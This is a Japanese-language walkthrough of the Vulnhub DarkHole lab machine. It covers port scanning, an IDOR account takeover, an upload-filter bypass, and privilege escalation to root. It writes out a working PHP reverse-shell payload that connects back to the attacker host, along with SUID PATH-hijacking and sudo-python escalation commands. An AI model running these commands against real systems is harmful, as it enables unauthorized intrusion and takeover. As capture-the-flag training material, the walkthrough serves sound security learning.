攻撃環境設定
攻撃マシン: 192.168.216.129 (Kali Linux) ターゲット: 192.168.216.130 VMダウンロード: Vulnhub DarkHole
ネットワークスキャン ポートスキャンで開いているサービスを確認します。
nmap -sV -p- -T4 192.168.216.130
22 (SSH) および 80 (HTTP) ポートが開放されていることが確認されました。
ウェブアプリケーションの脆弱性探索 80番ポートにアクセスするとログイン画面が表示され、ユーザ登録が可能です。
- 新規アカウント「test」で登録・ログイン
- プロフィール編集画面でIDパラメータを操作
- 既存ユーザのIDを1に変更(新規ユーザID=2)
- パスワード変更リクエストを送信
結果、/adminパスの権限が取得できました。IDOR脆弱性の確認が完了したため、adminアカウントで再ログインを試みます。
リバースシェルの確立 アップロード機能に脆弱性があることが判明:
.php拡張子は拒否.phtml拡張子は許可
以下のスクリプトをpayload.phtmlとしてアップロード:
<?php system("bash -c 'exec 5<>/dev/tcp/192.168.216.129/4445;cat <&5 | while read line; do \$line 2>&5; done'"); ?>
攻撃マシンでリスナーを起動:
nc -nlvp 4445
アップロードしたファイルを実行:
http://192.168.216.130/upload/payload.phtml
シェルがリバースされ、ユーザーwww-dataで制御可能になりました。
権限昇格手順
- システムユーザ確認
grep /bin/bash /etc/passwd
- SUIDファイルの調査
find / -perm -u=s -type f 2>/dev/null
/home/john/secret_toolがSUID権限を持つファイルであることが判明。
- コマンドハッキングによる昇格
echo 'chmod +s /bin/bash' > id
chmod 777 id
export PATH=/var/www/html/upload:$PATH
/home/john/secret_tool
SUID権限付与に失敗したため、johnユーザとしてログイン:
echo '/bin/bash' > id
/home/john/secret_tool
python3 -c 'import pty;pty.spawn("/bin/bash")'
/home/john/passwordからパスワードroot123を取得。
- sudo権限を活用した最終昇格
sudo -l
/home/john/exploit.pyを編集:
import pty
pty.spawn('/bin/bash')
実行:
sudo /usr/bin/python3 /home/john/exploit.py
絶対パスを指定しないと実行できないため、パスを明示的に指定します。これによりroot権限を取得し、/root/flagに存在するフラグを取得できます。